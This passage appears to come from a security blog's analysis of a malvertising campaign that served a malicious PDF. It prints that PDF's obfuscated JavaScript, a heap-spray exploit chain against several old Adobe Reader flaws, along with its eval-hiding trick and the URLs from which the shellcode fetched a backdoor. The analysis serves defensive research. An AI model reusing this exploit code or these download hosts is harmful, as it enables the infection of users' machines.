YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY;YYY\rYYY\nYYYuYYYtYYYiYYYlYYY.YYYpYYYrYYYiYYYnYYYtYYYfYYY(YYY\"YYY%YYY4YYY5YYY0YYY0YYY0YYYfYYY\"YYY,YYYnYYYuYYYmYYY)YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYgYYYeYYYtYYYiYYYcYYYoYYYnYYY(YYY)YYY YYY{YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY_YYYgYYYeYYYtYYYiYYYcYYYoYYYnYYY)YYY)YYY;YYY\rYYY\nYYY\rYYY\nYYYgYYYaYYYrYYYbYYYaYYYgYYYeYYY YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY YYY+YYY YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY;YYY\rYYY\nYYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY;YYY YYY\rYYY\nYYYhYYYeYYYaYYYdYYYeYYYrYYYsYYYiYYYzYYYeYYY YYY=YYY YYY1YYY0YYY;YYY\rYYY\nYYYaYYYcYYYlYYY YYY=YYY YYYhYYYeYYYaYYYdYYYeYYYrYYYsYYYiYYYzYYYeYYY+YYYgYYYaYYYrYYYbYYYaYYYgYYYeYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY;YYY\rYYY\nYYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY YYY(YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY&amp;lt;YYYaYYYcYYYlYYY)YYY YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY+YYY=YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYYfYYYiYYYlYYYlYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYY YYYaYYYcYYYlYYY)YYY;YYY\rYYY\nYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYY YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY-YYYaYYYcYYYlYYY)YYY;YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY+YYYaYYYcYYYlYYY&amp;lt;YYY0YYYxYYY4YYY0YYY0YYY0YYY0YYY)YYY YYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYbYYYlYYYoYYYcYYYkYYY+YYYbYYYlYYYoYYYcYYYkYYY+YYYfYYYiYYYlYYYlYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYYmYYYeYYYmYYYoYYYrYYYyYYY YYY=YYY YYYnYYYeYYYwYYY YYYAYYYrYYYrYYYaYYYyYYY(YYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYiYYY=YYY0YYY;YYYiYYY&amp;lt;YYY1YYY8YYY0YYY;YYYiYYY+YYY+YYY)YYY YYYmYYYeYYYmYYYoYYYrYYYyYYY[YYYiYYY]YYY YYY=YYY YYYbYYYlYYYoYYYcYYYkYYY YYY+YYY YYYgYYYaYYYrYYYbYYYaYYYgYYYeYYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYbYYYuYYYfYYYfYYYeYYYrYYYsYYYiYYYzYYYeYYY YYY=YYY YYY4YYY0YYY1YYY2YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYbYYYuYYYfYYYfYYYeYYYrYYY YYY=YYY YYYAYYYrYYYrYYYaYYYyYYY(YYYbYYYuYYYfYYYfYYYeYYYrYYYsYYYiYYYzYYYeYYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYiYYY=YYY0YYY;YYY YYYiYYY&amp;lt;YYYbYYYuYYYfYYYfYYYeYYYrYYYsYYYiYYYzYYYeYYY;YYY YYYiYYY+YYY+YYY)YYY\rYYY\nYYY{YYY\rYYY\nYYYbYYYuYYYfYYYfYYYeYYYrYYY[YYYiYYY]YYY YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYY0YYYaYYY%YYY0YYYaYYY%YYY0YYYaYYY%YYY0YYYaYYY\"YYY)YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYCYYYoYYYlYYYlYYYaYYYbYYY.YYYgYYYeYYYtYYYIYYYcYYYoYYYnYYY(YYYbYYYuYYYfYYYfYYYeYYYrYYY+YYY\"YYY_YYYNYYY.YYYbYYYuYYYnYYYdYYYlYYYeYYY\"YYY)YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYcYYYoYYYlYYYlYYYaYYYbYYY(YYY)YYY YYY{YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYfYYYiYYYxYYY_YYYiYYYtYYY(YYYyYYYaYYYrYYYsYYYpYYY,YYYlYYYeYYYnYYY)YYY YYY{YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYyYYYaYYYrYYYsYYYpYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY*YYY2YYY&amp;lt;YYYlYYYeYYYnYYY)YYY YYY{YYY YYYyYYYaYYYrYYYsYYYpYYY+YYY=YYYyYYYaYYYrYYYsYYYpYYY;YYY YYY}YYY\rYYY\nYYYyYYYaYYYrYYYsYYYpYYY=YYYyYYYaYYYrYYYsYYYpYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYYlYYYeYYYnYYY/YYY2YYY)YYY;YYY\rYYY\nYYYrYYYeYYYtYYYuYYYrYYYnYYY YYYyYYYaYYYrYYYsYYYpYYY;YYY YYY}YYY\rYYY\nYYYvYYYaYYYrYYY YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY_YYYcYYYoYYYlYYYlYYYaYYYbYYY)YYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYmYYYeYYYmYYY_YYYaYYYrYYYrYYYaYYYyYYY=YYYnYYYeYYYwYYY YYYAYYYrYYYrYYYaYYYyYYY(YYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYcYYYcYYY=YYY0YYYxYYY0YYYcYYY0YYYcYYY0YYYcYYY0YYYcYYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYaYYYdYYYdYYYrYYY=YYY0YYYxYYY4YYY0YYY0YYY0YYY0YYY0YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYsYYYcYYY_YYYlYYYeYYYnYYY=YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY*YYY2YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYlYYYeYYYnYYY=YYYaYYYdYYYdYYYrYYY-YYY(YYYsYYYcYYY_YYYlYYYeYYYnYYY+YYY0YYYxYYY3YYY8YYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYyYYYaYYYrYYYsYYYpYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY;YYY\rYYY\nYYYyYYYaYYYrYYYsYYYpYYY=YYYfYYYiYYYxYYY_YYYiYYYtYYY(YYYyYYYaYYYrYYYsYYYpYYY,YYYlYYYeYYYnYYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYcYYYoYYYuYYYnYYYtYYY2YYY=YYY(YYYcYYYcYYY-YYY0YYYxYYY4YYY0YYY0YYY0YYY0YYY0YYY)YYY/YYYaYYYdYYYdYYYrYYY;YYY\rYYY\nYYYfYYYoYYYrYYY(YYYvYYYaYYYrYYY YYYcYYYoYYYuYYYnYYYtYYY=YYY0YYY;YYYcYYYoYYYuYYYnYYYtYYY&amp;lt;YYYcYYYoYYYuYYYnYYYtYYY2YYY;YYYcYYYoYYYuYYYnYYYtYYY+YYY+YYY)YYY YYY{YYYmYYYeYYYmYYY_YYYaYYYrYYYrYYYaYYYyYYY[YYYcYYYoYYYuYYYnYYYtYYY]YYY=YYYyYYYaYYYrYYYsYYYpYYY+YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY;YYY YYY}YYY\rYYY\nYYYvYYYaYYYrYYY YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY0YYYcYYY0YYYcYYY%YYYuYYY0YYYcYYY0YYYcYYY\"YYY)YYY;YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY&amp;lt;YYY4YYY4YYY9YYY5YYY2YYY)YYY YYY{YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY+YYY=YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY;YYY YYY}YYY\rYYY\nYYYtYYYhYYYiYYYsYYY.YYYcYYYoYYYlYYYlYYYaYYYbYYYSYYYtYYYoYYYrYYYeYYY=YYYCYYYoYYYlYYYlYYYaYYYbYYY.YYYcYYYoYYYlYYYlYYYeYYYcYYYtYYYEYYYmYYYaYYYiYYYlYYYIYYYnYYYfYYYoYYY(YYY YYY{YYY YYYsYYYuYYYbYYYjYYY:YYY\"YYY\"YYY,YYYmYYYsYYYgYYY:YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY YYY}YYY YYY)YYY;YYY YYY\rYYY\nYYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYaYYYPYYYlYYYuYYYgYYYiYYYnYYYsYYY YYY=YYY YYYaYYYpYYYpYYY.YYYpYYYlYYYuYYYgYYYIYYYnYYYsYYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYsYYYvYYY=YYYpYYYaYYYrYYYsYYYeYYYIYYYnYYYtYYY(YYYaYYYpYYYpYYY.YYYvYYYiYYYeYYYwYYYeYYYrYYYVYYYeYYYrYYYsYYYiYYYoYYYnYYY.YYYtYYYoYYYSYYYtYYYrYYYiYYYnYYYgYYY(YYY)YYY.YYYcYYYhYYYaYYYrYYYAYYYtYYY(YYY0YYY)YYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYvYYYaYYYrYYY YYYiYYY=YYY0YYY;YYY YYYiYYY YYY&amp;lt;YYY YYYaYYYPYYYlYYYuYYYgYYYiYYYnYYYsYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY;YYY YYYiYYY+YYY+YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYiYYYfYYY YYY(YYYaYYYPYYYlYYYuYYYgYYYiYYYnYYYsYYY[YYYiYYY]YYY.YYYnYYYaYYYmYYYeYYY=YYY=YYY\"YYYEYYYSYYYcYYYrYYYiYYYpYYYtYYY\"YYY)YYY\rYYY\nYYY YYY YYY YYY YYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYY YYY YYY YYY YYYvYYYaYYYrYYY YYYlYYYvYYY=YYYaYYYPYYYlYYYuYYYgYYYiYYYnYYYsYYY[YYYiYYY]YYY.YYYvYYYeYYYrYYYsYYYiYYYoYYYnYYY;YYY\rYYY\nYYY YYY YYY YYY YYY YYY YYY}YYY\rYYY\nYYY YYY YYY}YYY YYY YYY\rYYY\nYYYiYYYfYYY YYY(YYY(YYYlYYYvYYY=YYY=YYY9YYY)YYY|YYY|YYY(YYY(YYYsYYYvYYY=YYY=YYY8YYY)YYY&amp;amp;YYY&amp;amp;YYY(YYYlYYYvYYY&amp;lt;YYY=YYY8YYY.YYY1YYY2YYY)YYY)YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYgYYYeYYYtYYYiYYYcYYYoYYYnYYY(YYY)YYY;YYY\rYYY\nYYY YYY YYY}YYY\rYYY\nYYYeYYYlYYYsYYYeYYY YYYiYYYfYYY YYY(YYYlYYYvYYY=YYY=YYY7YYY.YYY1YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYpYYYrYYYiYYYnYYYtYYYfYYY(YYY)YYY;YYY\rYYY\nYYY YYY YYY}YYY\rYYY\nYYYeYYYlYYYsYYYeYYY YYYiYYYfYYY YYY(YYY(YYY(YYYsYYYvYYY=YYY=YYY6YYY)YYY|YYY|YYY(YYYsYYYvYYY=YYY=YYY7YYY)YYY)YYY&amp;amp;YYY&amp;amp;YYY(YYYlYYYvYYY&amp;lt;YYY7YYY.YYY1YYY1YYY)YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYcYYYoYYYlYYYlYYYaYYYbYYY(YYY)YYY;YYY\rYYY\nYYY YYY YYY}YYY\rYYY\nYYYeYYYlYYYsYYYeYYY YYYiYYYfYYY YYY(YYY(YYYlYYYvYYY YYY&amp;gt;YYY=YYY YYY9YYY.YYY1YYY)YYY YYY|YYY|YYY YYY(YYYlYYYvYYY YYY&amp;lt;YYY=YYY YYY9YYY.YYY2YYY)YYY YYY|YYY|YYY YYY(YYYlYYYvYYY YYY&amp;gt;YYY=YYY YYY8YYY.YYY1YYY3YYY)YYY YYY|YYY|YYY YYY(YYYlYYYvYYY YYY&amp;lt;YYY=YYY YYY8YYY.YYY1YYY7YYY)YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYnYYYpYYYlYYYaYYYyYYYeYYYrYYY(YYY)YYY;YYY\rYYY\nYYY YYY YYY}YYY\rYYY\n';th("var oesfeufxntyi = cwyuvaooeo.re"+"pla"+"ce(/[Y]/g,'');");/* avqjavi766743 = 60; &amp;lt;owzeuouz106118&amp;gt; */var ugyolugwu968354 = "_e75af8ac39f";/* vuyiua152184 = 76; &amp;lt;zriefda431629&amp;gt; */var iuoeonh343430 = "_21d716ac020";var evaiwueei264011 = "_7ed30974517";/* rlaoaya455073 = 95; &amp;lt;geaaoo654855&amp;gt; */var iuzxgj474859 = "_3046be797c0";var pewzyahmfb544339 = "_8bdfb70b60f";/* seiiaue71607 = 39; &amp;lt;unzoe856710&amp;gt; *//* yuydi485926 = 1; &amp;lt;dkykz871039&amp;gt; */var pgsinuunf = 100;/* hucrbdit453671 = 76; &amp;lt;nyyrrazqy740615&amp;gt; *//* namdkey949757 = 64; &amp;lt;yzdee833418&amp;gt; */var vuveioae876679 = "_0328e8fa935";/* iuoytl56881 = 46; &amp;lt;oiowiea705586&amp;gt; *//* ntpadaq590040 = 38; &amp;lt;ovkcjaka633301&amp;gt; */var gpyousxo = '';/* auomgyoed16943 = 82; &amp;lt;mumaa309375&amp;gt; */var xaeuhifje753328 = "_16533722a29";/* kmuiuayg202152 = 98; &amp;lt;asuuhlhy426995&amp;gt; *//* upcowvqa721683 = 3; &amp;lt;aydaeauo365685&amp;gt; */sauavlepu0 = oesfeufxntyi;var ayuyg642660 = "_15f35fef3a2";/* uedaeig772200 = 27; &amp;lt;oucyueo443122&amp;gt; *//* uyqota442513 = 52; &amp;lt;iyxuoa210597&amp;gt; *//* eyaye796590 = 43; &amp;lt;iaooywuv348521&amp;gt; */for(alookaaraaio=0;alookaaraaio&amp;lt;pgsinuunf;alookaaraaio++) {var vauiauyyfcfi = 'function a1106889858(fa) {return fa;} var a266415535 = 281772104;function a454936894(fa) {return fa;} var a289990746 = 1206395987;function a606709841(fa) {return fa;} var a814629542 = 809599932;function a975519308(fa) {return fa;} var a73837795 = 418139819;function a1311395772(fa) {return fa;} var a102714415 = 1168743178;function a457025328(fa) {return fa;} var a106369175 = 824445897;';var vauiauyyfcfi = vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi;var vauiauyyfcfi = vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi+vauiauyyfcfi;var dsfsg = alookaaraaio+1;gpyousxo = 'var sauavlepu'+dsfsg+'=sauavlepu'+alookaaraaio+';'+vauiauyyfcfi+''+vauiauyyfcfi+''+vauiauyyfcfi+'';th(gpyousxo);}th(sauavlepu100);var okyyyornb516688 = "_3ffdcb9f05e";var pquxtoa762840 = "_68a883464be";/* yryeie384069 = 97; &amp;lt;aeyoboeaa202244&amp;gt; */&lt;br /&gt;//&amp;lt;/ACRO_script&amp;gt;&lt;br /&gt;//&amp;lt;/Document-Actions&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The obfuscation was sophisticated, showing the involvement of heavy manual effort. The javascript code is encoded with ASCII85Decode.&lt;br /&gt;&lt;br /&gt;First, the deobfuscation function:&lt;br /&gt;&lt;br /&gt;function ghfsdj(adbhsdh)&lt;br /&gt;{&lt;br /&gt;  var jfsd = "gas%ss2u";&lt;br /&gt;  return adbhsdh.split("&amp;amp;&amp;amp;").join(jfsd[3]+jfsd[7]);&lt;br /&gt;}&lt;br /&gt;The shellcode snippets below are obfuscated with the function:&lt;br /&gt;&lt;br /&gt;shcode_geticon = ghfsdj("&amp;amp;&amp;amp;D2CE&amp;amp;&amp;amp;D6D2&amp;amp;&amp;amp;899C&amp;amp;&amp;amp;C589&amp;amp;&amp;amp;CAC9&amp;amp;&amp;amp;C...");&lt;br /&gt;shcode_newplayer = ghfsdj("&amp;amp;&amp;amp;D2CE&amp;amp;&amp;amp;D6D2&amp;amp;&amp;amp;899C&amp;amp;&amp;amp;C589&amp;amp;&amp;amp;CAC9&amp;amp;&amp;amp;CBC..");&lt;br /&gt;shcode_printf = ghfsdj("&amp;amp;&amp;amp;D2CE&amp;amp;&amp;amp;D6D2&amp;amp;&amp;amp;899C&amp;amp;&amp;amp;C589..");&lt;br /&gt;shcode_collab = ghfsdj("&amp;amp;&amp;amp;D2CE&amp;amp;&amp;amp;D6D2&amp;amp;&amp;amp;899C&amp;amp;&amp;amp;C589&amp;amp;&amp;amp;CA..");&lt;br /&gt;&lt;br /&gt;The deobfuscation function replaces &amp;amp;&amp;amp; prefixes with %u. And then, an interesting trick is used to hide the use of the eval() function from pattern-based detection:&lt;br /&gt;&lt;br /&gt;  var ev = 'yeegsgvsssaglh';&lt;br /&gt;  ..&lt;br /&gt;   this[ev.charAt (2) + ev.charAt (6) + ev.charAt (10) + ev.charAt (12)] ('var th = thi' + 's[\'ev\'+\'\'+\'al\'];');&lt;br /&gt;&lt;br /&gt;The decoded javascript contains several pieces of exploit code for the different vulnerabilities below:&lt;br /&gt;&lt;br /&gt;a) Adobe Reader and Acrobat 9.x Doc.media.newPlayer (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324"&gt;&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;b) Adobe Acrobat and Reader util.printf &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-2992"&gt;(CVE-2008-2992)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;c) Adobe Reader and Adobe Acrobat 9 GetIcon (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927"&gt;CVE-2009-0927&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;d) Adobe Reader GetMailInfo (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-5659"&gt;CVE-2007-5659&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;The javascript below checks for a matching version of exploitable Adobe Reader and if found, triggers the corresponding exploit:&lt;br /&gt;&lt;pre class="brush: js;"&gt;aPlugins = app.plugIns;&lt;br /&gt;var sv=parseInt(app.viewerVersion.toString().charAt(0));&lt;br /&gt;for (var i=0; i &amp;lt; aPlugins.length; i++)&lt;br /&gt;{&lt;br /&gt;if (aPlugins[i].name=="EScript")&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;var lv=aPlugins[i].version;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if ((lv==9)||((sv==8)&amp;amp;&amp;amp;(lv&amp;lt;=8.12)))&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;geticon();&lt;br /&gt;}&lt;br /&gt;else if (lv==7.1)&lt;br /&gt;{&lt;br /&gt;printf();&lt;br /&gt;}&lt;br /&gt;else if (((sv==6)||(sv==7))&amp;amp;&amp;amp;(lv&amp;lt;7.11))&lt;br /&gt;{&lt;br /&gt;collab();&lt;br /&gt;}&lt;br /&gt;else if ((lv &amp;gt;= 9.1) || (lv &amp;lt;= 9.2) || (lv &amp;gt;= 8.13) || (lv &amp;lt;= 8.17))&lt;br /&gt;{&lt;br /&gt;nplayer();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Initial detection rate of this PDF was extremely low--&lt;a href="http://www.virustotal.com/file-scan/report.html?id=a047af72df4d2e937c023acee2ca1f2592c85503a3eebf8f791d03b6ac2001fb-1291905272"&gt;2 out of 42&lt;/a&gt; on VirusTotal. Got a little better now but not much.&lt;br /&gt;&lt;br /&gt;Upon successful exploitation, shellcode is executed and the browser downloads and runs the following two executables:&lt;br /&gt;1. file.exe (HDD Plus), from: http://colemuns.com/pupseg/forum.php?f=MDAC&amp;amp;key=92e93d0553cdb3c89d7d397457811f6d&amp;amp;u=root, &lt;a href="http://www.virustotal.com/file-scan/report.html?id=f9ee1198bc82efb19574187a9ace23999e3d8b8201de9a5554c86b9024aaca79-1291801624"&gt;Virus Total results here.&lt;/a&gt;&lt;br /&gt;2. 461-direct.exe (backdoor), from: http://searchjewel.org/any5/461-direct.exe, &lt;a href="http://www.virustotal.com/file-scan/report.html?id=8d4094da3e233393e39172028f7f3256e0346acd08e9625009b97a3cbf9d7f86-1291766435%22%22"&gt;Virus Total results here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Note that the binaries, and the ways that they were obfuscated, kept on changing for the past few days.&lt;br /&gt;&lt;br /&gt;Another installed malware is the Kazy downloader; see the VirusTotal report &lt;a href="http://www.virustotal.com/file-scan/report.html?id=5d925c4bd60f188694fb94ef77c27df34be60c0844721447e6d83962602a7428-1291976690"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Actually, the exploits themselves kept on changing, too. When we first detected this on Dec 3rd, it was serving only one exploit--CVE-2010-0806, and it wasn't from colemuns.com, but from thjlnqbtgdw.com and pbcplifpgdw.com. During this time, the NeoSploit exploit pack was used instead of the later Eleonore-like pack.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Part 2--rad.msn.com case study&lt;/b&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_hELDi5B8zOI/TQLz0FY7NgI/AAAAAAAACJI/KsAHLnLbAB0/s1600/rad_msn_com_hdd_plus_adshufffle_illu.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px;" src="http://4.bp.blogspot.com/_hELDi5B8zOI/TQLz0FY7NgI/AAAAAAAACJI/KsAHLnLbAB0/s1600/rad_msn_com_hdd_plus_adshufffle_illu.png" alt="" id="BLOGGER_PHOTO_ID_5549265766999340546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Malvertising by ADShufffle on rad.msn.com started later than DoubleClick; however, the behavior is quite the same.&lt;br /&gt;&lt;br /&gt;Upon visiting a website that is serving banners from rad.msn.com, for example mail.live.com, msnbc.com, or realestate.msn.com, the browser is presented with an ad tag for a 728x90 banner ad from rad.msn.com:&lt;br /&gt;&lt;pre class="brush: js;"&gt;&amp;lt;script type="text/javascript" 